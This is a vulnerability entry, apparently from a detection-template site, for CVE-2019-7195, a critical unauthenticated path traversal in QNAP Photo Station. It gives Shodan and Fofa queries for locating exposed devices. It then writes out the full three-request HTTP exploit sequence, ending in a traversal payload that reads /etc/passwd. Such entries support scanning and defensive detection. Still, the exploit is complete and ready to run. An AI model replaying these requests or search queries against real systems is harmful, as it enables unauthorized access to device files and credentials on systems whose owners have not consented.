| Title | QNAP Photo Station - Path Traversal |
|---|---|
| Author | s4e-io |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit path traversal to access or modify system files, potentially reading sensitive configuration files and credentials. |
| Remediation | Upgrade to QNAP Photo Station version that addresses this vulnerability or apply vendor-provided patches. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93454 |
| CVE ID | CVE-2019-7195 |
| CWE ID | CWE-22 |
| Shodan Query | content-length:"580 "http server 1.0""http.title:"photo station"http.title:"qnap" |
| Fofa Query | title="photo station"title="qnap" |
| Tags | cve cve2019 kev qnap lfi vkev vuln |
QNAP devices running Photo Station contain an external control of file name or path vulnerability allowing remote attackers to access or modify system files.
POST /photo/p/api/album.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.107 Safari/537.36
Connection: close
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
a=setSlideshow&f=aakej
GET /photo/slideshow.php?album=hi2lYP HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
POST /photo/p/api/video.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Content-Length: 92
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
album=hi2lYP&a=caption&ac=6vECg8&f=UMGObv&filename=.%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7195.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-7195.pcap
N/AN/A